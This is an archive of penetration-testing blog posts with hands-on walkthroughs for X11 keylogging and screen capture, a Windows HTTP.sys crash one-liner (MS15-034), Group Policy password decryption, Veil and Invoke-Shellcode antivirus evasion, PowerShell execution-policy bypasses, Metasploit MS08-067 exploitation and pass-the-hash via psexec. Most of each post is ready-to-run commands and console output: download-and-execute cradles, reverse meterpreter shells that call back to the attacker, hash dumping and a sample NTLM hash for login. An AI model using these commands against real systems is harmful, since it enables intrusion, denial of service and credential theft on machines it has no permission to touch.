Category Archives: tools

More X11 Hacking with xspy and xwatchwin

I’ve posted about open X11 servers before, including keylogging and grabbing an image of the desktop.  Today I just want to add a couple other tools to the toolbelt.  To learn more about X11, see the other posts as they describe it in better detail.

Setup Your Testbed

Today I’ll be using Ubuntu 14.04.1 LTS version.  The setup is almost the same as before with Ubuntu 12.04, except the config file has moved for some reason.  If you look in the /etc/lightdm/ folder, there no longer exists any lightdm.conf file.  There is only a users.conf file.  I tried just creating a lightdm.conf file, but that totally crashed my system and I had to refresh to my previous snapshot.  Do not do this.

The config files have moved to the /usr/share/lightdm/lightdm.conf.d/ folder.  Add the xserver-allow-tcp=true line to the end of the /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf file, restart lightdm with “sudo restart lightdm”, and you should be good to go.  Don’t forget to run “xhost +” to allow anyone to connect, just light the previous X11 post describes.

If you want to run xhost  + by default, add the following:


Then your script can look like this:

xhost +

If you want to make it work on a different OS, here is a post that shows how to enable X11 on a couple versions of Linux.


How do you find a vulnerable host?

This section is the same as the last X11 post.

How do you attack that host?

Double check to make sure the previous attacks work (such as grabbing a screen shot).

First we’ll use the xspy tool.  This is actually already built into Kali, and seems to work better than the xkey tool that was described before.  Simply type xkey and then the IP address:


There appears to have been a different version in Backtrack or Kali at a different time where you had to specify options such as “xspy -display”, but on my machine, all that just confused xspy.  If your X11 server is on a port other than 6000 (like 6001 or something), you may have to download and compile a different version.  Just do a search – they’re everywhere.


The other tool is xwatchwin.  You’ll have to download this one.  I found it here.  Follow the README to compile (just type xmkmf && make) and you’re good to go.

In order to use the tool, first you need to find the ID of the window using xwininfo:

$ xwininfo -root -display serverip:number


On my system, the window ID is 0x165.  So next (on the native Kali desktop, not a SSH terminal window), type:

$ ./xwatchwin serverip:number -w 0x165

A xwatchwin window will pop up, showing a (very delayed) constant view of the desktop.  This will pretty much be like a View Only version of VNC.

That’s all for now, happy hacking!

Crashing Windows Server 2012 with a One-Liner

Yesterday, Microsoft released the MS15-034 patch for the CVE-2015-1635 vulnerability.  Today, enough people have reverse engineered it to figure out this is a pretty big deal.

Short version: You can send a blue screen of death to a variety of Windows OS’s running IIS with one line of code (see below for various versions of the line of code).

Details: There aren’t a whole lot of details yet.  This is supposedly a remote code execution / buffer overflow vulnerability, but it seems the actual scripts publicly available can only crash the server right now.

The vulnerability exists in HTTP.sys.  Basically, the request sends a Range header that will crash a system.  According to Microsoft, the vulnerable operating systems include Windows 7 SP1, Server 2008 R2, Windows 8 and 8.1, and Server 2012 and 2012 R2.

Setup Your Testbed

I tried running this on a Windows Server 2008 I had readily available (not R2) and no dice.  So in my testbed, I’m just doing a default install of Server 2012 R2 Standard.

By default, IIS is not installed.  It is pretty easy to add it – simply go to Administrative Tools -> Server Manager -> Add Roles -> Web Server (IIS).  Then don’t forget to make sure it is turned on (it probably is by default).  This Microsoft page describes the process in excruciating detail.


How do I find a vulnerable host?

There is already a good script up on pastebin (in Python) with various spinoffs 1 and 2 (in C) that will help you find vulnerable hosts.  I’m sure more will show up, and eventually show up in scanners such as Nessus.  Be careful though – unless you are willing to crash a host, do not scan or perform this attack.

You can even search for vulnerable IIS versions on Shodan.

How do I attack that host?

The attack works great using wget (the destination doesn’t matter as long as it actually exists, so if you don’t have the welcome.png, just try something else – just using the root / won’t work though):

wget --header="Range: bytes=18-18446744073709551615"

Others have claimed success when using curl and telnet/netcat as in the examples below:

curl -v -H "Range: bytes=18-18446744073709551615"

$ telnet 80
GET /iis-85.png HTTP/1.1
Host: irrelevant
Range: bytes=18-18446744073709551615

When I try these methods, nothing crashes.  I’m not sure why – if you look at a packet capture, the requests are nearly identical.  Fiddling with the Range parameter, I get the following response: “HTTP Error 416. The requested range is not satisfiable.”  Changing other parameters doesn’t seem to make a difference, so I am just keeping this here for troubleshooting for others.  If you are having a hard time, use the wget as a one-liner, or one of the scripts that have already been linked to.

So if it isn’t already obvious, everyone better patch this ASAP.  If your server is internet facing, so script kiddies will crash it at best, and at worst someone who has figured out how to actually do remote code execution will completely take your server over.



In my case, the server actually restarted itself, so at least it didn’t stay dead.

Happy hacking!


Grabbing Passwords from your Domain Controller (GPP MS14-025)

Another tool that is part of the Powersploit toolkit mentioned earlier is Get-GPPPassword.

One way to add a user (or change a password) for many users in a domain is through Group Policy Preferences (GPP).  This essentially adds a GPO to the domain with a username and an (encrypted) password for all the computers on the domain to grab and process.  The problem here is that Microsoft actually published the AES symmetric encryption key it uses right on MSDN.

GPOs are available for any authenticated domain user to read via \\domain-name-here\SYSVOL share.  In other words, any authenticated user (insider attack, spear phished creds, etc) can gain access to these credentials in cleartext.  The GPPs with the passwords are usually located in \\domain\SYSVOL\domain\Policies\{*}\Machine\Preferences\Groups\Groups.xml

In 2012, Chris Campbell wrote up a very easy to use Powershell script to search for these GPOs, decrypt the passwords, and print out the cleartext credentials.  The script has since been updated and uploaded to the Powersploit github repository.

In 2014, Microsoft finally issued the MS14-025 patch for this issue.  However they didn’t want to break anyone’s current processes by removing bad GPOs, so they simply disabled the Username and Password boxes and left it to the user to remove the bad GPOs.  Therefore, this attack vector will likely be very useful for a long time to come.


Setup  Your Testbed

Testing this vulnerability in a controlled environment is difficult.  It requires setting up a Windows domain and adding test users via GPP, which is beyond the scope of this blog.  Just trust me – if your environment contains passwords, you will see them.  The script will not do any harm – it is merely viewing the contents of GPO files, just like any other domain joined computer would.


How do I find a vulnerable host?

Check to see if your local system is joined to a domain.  This can by done by right clicking on My Computer and clicking properties.  If it lists a workgroup, then you are out of luck.  If it lists a domain, then you’re in business.

How do you attack that host?

This is the easy part.  Simply run Get-GPPPassword.ps1 from the command line, and everything else is done for you.


The script will automatically figure out your domain and go searching for GPOs with passwords.  This may take a while because it is likely going across the network and searching.

These tasks can actually be split up and improved upon.  First, copy all of the GPOs from the network location to a local location by copying the entire contents of \\domain\SYSVOL\domain\Policies (or if these files are very large in your domain, write a script to search for and only copy the relevant Groups.xml types of files). Now you can use a nifty script that Microsoft provides called Enum-SettingsWithCpassword.  This script alone provides very little information, but it is easy to edit the end part with all the Add-Member lines to provide additional information.  Here is what mine looks like:

Add-Member –membertype NoteProperty –name GPOName –value ($gpoName) –passthru |
Add-Member -MemberType NoteProperty -name Owner -value ($gpoOwner) -passthru |
Add-Member -MemberType NoteProperty -name UserName -value ($gpp.Name) -passthru |
Add-Member -MemberType NoteProperty -name Password -value (Get-DecryptedCpassword($gpp.Properties.cpassword)) -passthru |
Add-Member -MemberType NoteProperty -name Modified -value ($gpp.changed) -passthru |
Add-Member -MemberType NoteProperty -name ChangeOnLogon -value ($gpp.Properties.changeLogon) -passthru |
Add-Member -MemberType NoteProperty -name ChangeDisabled -value ($gpp.Properties.noChange) -passthru |
Add-Member -MemberType NoteProperty -name NeverExpires -value ($gpp.Properties.neverExpires) -passthru |
Add-Member -MemberType NoteProperty -name Disabled -value ($gpp.Properties.acctDisabled) -passthru |
Add-Member -MemberType NoteProperty -name GUID -value ($gpoGuid) -passthru |
Add-Member -MemberType NoteProperty -name Status -value ($gpoStatus) -passthru |
Add-Member -MemberType NoteProperty -name Path -value ($prefLocation) -passthru |
Add-Member -MemberType NoteProperty -name FilePath -value ($fileFullPath)

Notice that I also used the DecryptedCpassword utility (also provided on the same Microsoft page).  Once your script is ready, I prefer to dump the contents into a CSV file.  So the function would be run like this:

PS > Enum-SettingsWithCpassword("C:\Users\colesec\Desktop\GPOs") | Export-CSV C:\Users\colesec\Desktop\GPOsWithPass.csv

The other thing about this script is that it requires the GroupPolicy module for Powershell, which you probably don’t already have if you’re not running this from a Windows Server distribution.  No fear though – this is just an easy, free download from Microsoft.  Grab the Remote Server Administration Tools (RSAT), install, and you’re set.  More info here.

Good luck!

Sending Custom IP Packets

Sometimes during testing, you need to send custom created packets.  This is just a short post for two tools that I recommend:


The Colasoft Packet Builder is a neat GUI tool for Windows that makes packet replay easy.  You can create customized IP packets, or you can simply import a .pcap file and build off of packets that you already captured.

The software is freeware, so anyone can use it.  And don’t worry – it will update those checksums automatically so you don’t have to manually figure it out.




Scapy is an incredibly powerful Python module.  It has a very simple syntax to create custom packets and send them.  Scapy can also act as a listener as well.  The scapy documentation has a number of one liners that can perform scans, fuzzing, ARP poisoning, VLAN hopping, wireless sniffing, etc.

Don’t get overwhelmed just because scapy is not a GUI.  It is really quite easy to use.  Scapy is also already built into Kali Linux.  It can be run on its own scapy shell (just type “scapy” or “python”) or imported as a module into python for custom scripting (from scapy.all import *).

Practical examples where I have uses scapy:

  • Fuzz packets to a port to test some new software
  • Inject data into an ICMP packet to test exfiltration through a firewall (scapy sender on one side that base64 encodes the contents of a file, scapy listener on the other side to decode and extract)
  • Testing DNS amplification attacks by sending packets with a spoofed source IP to DNS servers using DNSSEC.

Here is an example of fuzzing a mail server at


Notice how you start by building an IP packet (with destination), then specifying TCP port (with destination).  The fuzz() function will simply put random values anywhere it can if you don’t specify an option.  For example, if we didn’t say dport=25, it would fuzz every port.


As mentioned earlier, you can also just include this in a python script instead:



Good luck!

Obfuscating Meterpreter Payloads with Veil

I am a big fan of using meterpreter as a post compromise payload.  It has so many tools that makes all the next steps so much easier.  The problem is, every antivirus out there will catch meterpreter.  Metasploit comes with a handy obfuscator, but even that always gets caught now.

For a long time, everyone had their tricks to obfuscate meterpreter payloads, but nobody wanted to share for fear of antivirus companies finding out about them.  My trick was to generate a raw, shellcode payload.  Then use a python script called shellcode2exe that converted the shellcode to an executable file (it used mingw32).  When that quit working, I found the Veil Framework.  This post will focus on the Veil-Evasion part of the Veil framework.

The authors of Veil took all of the neat obfuscation tricks they could find, and packaged them up into one, easy to use python script.

Setup Your Testbed

The victim machine needs to be any Windows machine.  In this example, we’ll be using Windows 7 64-bit.  Install an antivirus to see how well it (doesn’t) catch the payload.

The attacker machine should be a machine running Kali Linux.  Veil is not installed by default, but there are two easy ways to do it: by running apt-get or simply downloading from the Git repository.  Some users have issues with the apt-get method and the git repository will be the most up to date version, so that is my preferred method.

Apt-get method:

# apt-get install veil
# cd /usr/share/veil-evasion/setup/
# ./

Git method:

$ git clone
$ cd Veil-Evasion/setup/
$ ./

The process can take a while. The end result is a program you can use.


How do you find a vulnerable host?

This post is strictly about post exploitation and antivirus evasion.  Find your own way in to a Windows machine.  Once you are there, you should be able to run meterpreter, with or without antivirus being installed

How do you attack that host?

First, use veil to generate the payload.  Run the script from wherever you did your git pull.


Currently there are 40 options for payloads (but the authors frequently/monthly add more).  The “list” command will show all the options available.


Different payloads can be used slightly differently.  For example, the powershell payloads have the benefit of just being loaded into memory rather than the hard disk as described in a previous blog post.  Different versions compiled versions (like the C or C# ones) may or may not be caught by your antivirus of choice (not all will evade antivirus completely), but most likely there will be a couple that work.

In this example, I will generate a payload for #9, or cs/meterpreter/rev_https. The command is “use cs/meterpreter/rev_https” (or just “use 9”)


Finally, I’m going to set the LHOST to the IP address of my Kali machine and then generate the resulting payload.  When it asks, I told it to call the payload “colesec”.


Now take the compiled colesec.exe payload and drop it on the victim machine.  Before running it though, start up the meterpreter handler in metasploit.  Veil makes this really easy by creating a handler file.

# msfconsole -r /usr/share/veil-output/handlers/colesec_handler.rc

Once metasploit loads up, go ahead and run the executable on the victim machine.  It should all work!

Note that Veil has more parts to the framework than just Veil-Evasion. Check out some of the other modules, especially Veil-Catapult for payload delivery.

Getting Around Powershell Restrictions

The powershell execution policy can be limiting.  Find out what yours is by entering powershell and typing Get-ExecutionPolicy:


If the policy is set to Restricted, that means scripts are not allowed.  Only the interactive shell is allowed.  The obvious thing to do is try to use Set-ExecutionPolicy and change it, but you can’t always do that. Here are some ways around that:

1) Just paste the powershell script in and then run it.  This only works for smaller scripts

2) Download and load the powershell script as described in the previous entry using hte following command: IEX (New-Object Net.WebClient).DownloadString(“”)

3) Use a .bat file to base64 encode everything first and then load it up.  It slows down the script some, but for some reason it works.  This is the reason for this blog post.

Create a .bat file with the following contents:

powershell.exe -noprofile -Command "powershell.exe -noprofile -encodedCommand ([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((gc %1 |%%{$_}|out-string))))"

Then just run the .bat file, following by the ps1 file you want to run:

> PS.bat helloworld.ps1
Hello World


There are lots of other ways to go about doing this as well.  Here is a link with 15 ways to do it:

Hacking with Powershell, Powersploit, and Invoke-Shellcode

Powershell has recently come into the spotlight as more than just a sysadmin tool, but a great cyber security tool.  This was emphasized by many of the popular hacker cons this last year.

One incredibly useful tool is Powersploit.  It is a set of powershell scripts put together (and in part written by) Matt Graeber.

In this post, we’re going to use the Invoke-Shellcode script from Powersploit to completely bypass antivirus and load up a meterpreter back to your server.  Antivirus never catches it because it never actually hits the hard drive; everything stays in memory.  Genius, right?

Setup Your Testbed

The victim machine needs to be any Windows machine.  In this example, we’ll be using Windows 7 64-bit.  You can even have an antivirus installed, and you will see that it never gets caught.

The victim machine also needs to download the Invoke-Shellcode.ps1 script from somewhere.  In the examples below, we’ll just grab them straight from github.  This isn’t always possible (or smart), so powersploit is also already available in Kali under /usr/share/powersploit.  You can easily set up a temporary web server on port 8000 to download from by using the Python module SimpleHTTPServer:

$ cd /usr/share/powersploit
$ python -m SimpleHTTPServer
Serving HTTP on port 8000 ...

And now you can use your Kali box instead.


You can also make sure you have the very latest powersploit scripts by cloning the archive:

$ git clone
Cloning into 'PowerSploit'...
remote: Counting objects: 1555, done.
remote: Total 1555 (delta 0), reused 0 (delta 0), pack-reused 1555
Receiving objects: 100% (1555/1555), 5.94 MiB | 2.63 MiB/s, done.
Resolving deltas: 100% (743/743), done.


How do you find a vulnerable host?

Any Windows machine with powershell installed should be vulnerable.  You can tell that powershell is installed simply by entering the powershell prompt from the command line.



How do you attack that host?

First, you need to download the script and load it into memory.  The trick here is that it never hits the hard drive, so antivirus doesn’t catch anything.

PS > IEX (New-Object Net.WebClient).DownloadString("")

Note, you shouldn’t see any errors.  Also note that if you see the following text: “Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.” – you need to download Invoke–Shellcode instead of Invoke-Shellcode. It seems the author is trying to make a point about downloading code.

Now that Invoke-Shellcode has been loaded,  you can optionally find out more about it.

PS > Get-Help Invoke-Shellcode


All of the Powersploit scripts have very helpful Get-Help commands.

Now you need to setup the handler to catch the meterpreter payload.  Start up Metasploit and begin your handler:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on
[*] Starting the payload handler...

Finally, you are ready to use Invoke-Shellcode on the victim:

PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport 4444 -Force

You should have a meterpreter shell on your Kali machine:

msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on
[*] Starting the payload handler...
[*] Request received for /INITM...
[*] Staging connection for target /INITM received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 1 opened ( -> at 2015-03-05 11:35:10 -0500

meterpreter > getuid
Server username: testcomp\colesec

As another tip, there is a fantastic post exploit module called post/windows/manage/smart_migrate.  You can run it at this point to automatically migrate to another process, after which you can completely close the powershell window and still keep the meterpreter process running.  You can even make the process run automatically in your handler setup by adding the command “set AutoRunScript post/windows/manage/smart_migrate”



References: (great description of other powersploit scripts) (cool tutorial on adding custom payloads and using persistence)

Metasploit Basics

Now seems like a good time to list some of the basics of Metasploit.

Setup Your Testbed

First, install backtrack linux to get Metasploit.  Using either the KDE or GNOME version doesn’t matter.  In fact, you can even install it to a thumb drive using unetbootin and boot Backtrack without changing your main OS at all.  We’ll assume this machine is located at  The default login for backtrack is root/toor.

Next, simply run a base install of Windows XP without any updates as your target.  Then share out a file (doesn’t matter what).  You can use most anything (such as metasploitable, etc.), but for the exploits we’ll be using, Windows XP is the most fun target.  We’ll assume this machine is located at


How do you find a vulnerable host?

Often times you can start out with a nessus scan of a machine.  Then take some of the highest vulnerabilities, and search for the CVE listed on the metasploit modules search page.  Our Windows XP machine will have a lot, but the example we’ll use is the famous MS08-067 or CVE-2008-4250.  Do a search for that, and you’ll find this page.

How do you attack that host?

First, get on your Backtrack machine and type “msfconsole”.  You’ll load up the main Metasploit page.

metasploitNow you need to understand the difference between an exploit and a payload.  The exploit is the flaw in the system that you are going to take advantage of.  In the case of MS08-067, it is a problem is the SMB service.  The modules that you searched for above are simply exploits.  You can also search for exploits here on the command line by typing “search ms08” or whatever you are looking for.

A payload is what you will send once the exploit has been executed.  Many exploit kits use some sort of spyware as a payload.  Metasploit also has a number of payloads.  Different payloads work for different exploits.  Some payloads include VNC payload (so you can view their screen), or a reverse TCP payload (so you can browse their filesystem, etc.)  There is also a very powerful Meterpreter payload that has lots of additional commands we’ll look at.

To choose our exploit, type “use exploit/windows/smb/ms08_067_netapi”, and you’ll see the prompt change.  “show options” will show some entries you need to put with the payload.



Some options are already filled out.  Sometimes the automatic targeting doesn’t work, and you’ll need to change that.  “Show targets” and then “Set target 1” or whatever your target is will help.  This will also change the payloads available sometimes.  For this particular exploit, leave the target as the default.

RHOST is remote host, or the machine you are attacking.  To set this, enter “set RHOST”.

Now set the payload.  You can do a “show payloads”.  We’ll use the meterpreter payload with “set PAYLOAD windows/meterpreter/reverse_tcp” (notice you can do tab completion).  After this, do another show options, and you’ll see additional options listed for the payload.  You’ll notice you now need to fill out the LHOST.  That is local host, or where the payload should call back to (you).  You should enter your own IP address.  If you forgot, typing ifconfig at the MSF console works.  Type “set LHOST”.

Last is the best command of all.  “exploit”.  Type “help” on the meterpreter command prompt to see all of what you can do.  I usually start out with getuid, and then hashdump.  Put it all together:

# msfconsole
msf > use use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to
[*] Meterpreter session 1 opened ( -> at 2013-03-01 13:10:59 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump

Some other helpful tips:

  • You may have many sessions opened at once.  Type “sessions” at the msf console to view them.  “sessions -i 5” will open session 5.
  • You may have services listening on ports you don’t want anymore.  Type “jobs” to see which ones are open, and “kill 5” to kill job 5.

You can also package up your payload to be run at any time, without the need of a vulnerability.  From the command prompt (not in the msf console), run the following:

# msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=5555 X > runme.exe
Created by msfpayload (
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"", "LPORT"=>"5555"}

You can get a help interface by running “msfpayload -h” (more info on the tool here).  Copy runme.exe over to your Windows XP machine.  Then start a handler to listen for the connection:

# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 5555
msf exploit(handler) > exploit

Now you’re just waiting for connections.  Run the file on your Windows machine, and you’ll get a meterpreter prompt.  If you were to use the windows/shell/reverse_tcp payload, you wouldn’t even need to run metasploit at all.  You could just set a netcat listener on the port specified.

Finally, there’s also a msfencode utility.  It seems the purpose originally was to obfuscate these payload files so that anti-virus wouldn’t find them.  Unfortunately now, even if you use msfencode on a completely innocuous file, anti-virus will pick it up because it recognizes it was encoded with this metasploit tool.  A good way to check is to upload your file to (although that’s also a good way to get your “virus” sent to anti-virus vendors since this website works with them).

Metasploit in the Cloud

I recently had a need to run metasploit on the public internet. I needed it to be available on the public internet, but only for an hour here and there. So I decided to use Amazon’s EC2 cloud.  For Amazon’s EC2 cloud, I could just run it for an hour and only pay for that much time.  It is also very easy to setup and teardown servers.  The downside is you can’t just install Backtrack.  There are only certain templates for servers available.

Start out

Go to Amazon’s website, and (if necessary) create an AWS (Amazon Web Services) account by clicking Sign Up.  Or simply login and go to the EC2 console (you can get there from the AWS Management Console).  Under the Create Instance heading, click the Launch Instance button.

Continue with the Classic Wizard, and under the Quick Start tab, select the Ubuntu Server AMI (Amazon Machine Image).  The next screen lets you choose your Instance Type.  If you’re planning on using your AWS free trial, you should choose the T1 Micro instance with 613 MB RAM.  However, this will be difficult at best; you will have issues with too little RAM as you will see later.  A good choice is the next tier up, M1 Small with 1.7 GB RAM.  At only 6 cents per hour, it literally will only cost you pennies if you don’t need to run it 24/7.


Continue through all the rest of the screens, creating a key pair for login, naming your instance whatever you want, and configuring your firewall aka security group.  On the firewall, by default only port 22 is allowed.  Depending on how you are going to use this machine, you’ll need to add additional ports.  Finally, launch!

Once you launch, your machine will be built usually within a few seconds.  If you go down to the Elastic IPs section, you can first Allocate New Address to your account, and then Associate Address to your Instance that you just created.  Give that about 60 seconds to associate, and then you can SSH to your Instance using that IP address with the key pair that you created during setup.  The username will be ubuntu.  You can also connect to the machine without associating an IP address by clicking on it on the Instance page, and connecting to the Public DNS listed under Description.

Now to install metasploit.  Go to the metasploit download page, and copy the link.  We’ll be installing a few packages that metasploit needs, and then installing metasploit itself.

sudo apt-get update
sudo apt-get install postgreSQL rubygems libpq-dev libreadline-dev ruby-dev
sudo ./

Just choose all the defaults with the installer.  When it is done, you’ve got Metasploit installed and working (msfconsole should work).  However you can’t run updates until you register it.  In order to register it, the install wants you to go to https://localhost:3790.  However this is a remote install; there is no easy way to do that.  So go to https://INSTANCEIP:3790/ and as the screen says, wait a few mins for metasploit to finish loading.  Once it does, you’ll get a screen that says you need to connect locally, or use a special script to create a user account.  This is what we are going to do:

cd /opt/metasploit
sudo ./diagnostic_shell
ruby /opt/metasploit/apps/pro/ui/script/createuser

With your user created, refresh the page on your browser and login.  From there, just follow the instructions to get a (free) license key for the community version and register.  Now updating and running should work just fine!


Now at this point, if you chose the trial Micro instance instead of the 6 cent Small instance, you are probably getting a message that says “Activation Failed: Cannot allocate memory – who”.  Just like it says, that means there is not enough RAM.  You’ll either have to just live without any updates, or start over again with a better instance.

If you plan on penetration testing with the Amazon Cloud, you can do it, but you need to fill out a form with them (and use something better than the Small or Micro instances).

Hacking Windows Passwords with Pass the Hash

In Windows, you don’t always need to know the actual password to get onto a system (believe it or not).  All you need is the hash of that password, and you can get in just as easily.

Setup Your Testbed

This is meant to simply be an extension to the previous post.  Simply use a Windows 7 system.  All you need to add is a single Windows share.  What you share doesn’t matter.  The same password hashes that were found before will be used again.

You may need to set a registry key in case you have an error listed later.  The key is “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters” with “RequireSecuritySignature” set to “0” (as described here. I did not need this, but notice that is a good mitigation).

Another registry key you may need for the same error is under the following: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”.  This time you’ll need to add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1  (as described here and here. I DID need this).  Basically, local users by default are not allowed to perform administrative actions.  This registry key gets around that problem.  A domain account would not have this issue.


How do you find a vulnerable host?

All you need is a password hash to a system that has SMB file sharing open (port 445).

How do you attack that host?

Metasploit has a pass the hash module called exploit/windows/smb/psexec.  In fact if you run a “search psexec” on the Metasploit console, you’ll see about 4 modules to use pass the hash for different things.  For our host, we’re simply going to use psexec to drop a meterpreter payload.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST
msf exploit(psexec) > set LHOST
msf exploit(psexec) > set SMBUser JoeTest
msf exploit(psexec) > set SMBPass 00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309
msf exploit(psexec) > exploit

[*] Started reverse handler on
[*] Connecting to the server...
[*] Authenticating to|WORKGROUP as user 'JoeTest'...
[*] Uploading payload...
[*] Created \NWKrjfhn.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (OXAZLqCq - "MSmGGmzvjJKdbAEMwVE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \NWKrjfhn.exe...
[*] Sending stage (752128 bytes) to
[*] Meterpreter session 1 opened ( -> at 2013-02-18 10:38:09 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

And you’re in!  Hopefully.  If not, read the troubleshooting tips below:

First, a little troubleshooting.  If you get the following response:

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)

This means you’ve got bad credentials.  Most likely, you only put the NTLM hash (E5810F3C99AE2ABB2232ED8458A61309) instead of both the blank LANMAN hash and the NTLM hash together as this module expects (00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309)

If you get the following response:

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)

This means you didn’t set the registry keys explained in the Setup step (likely the second one).

Other references: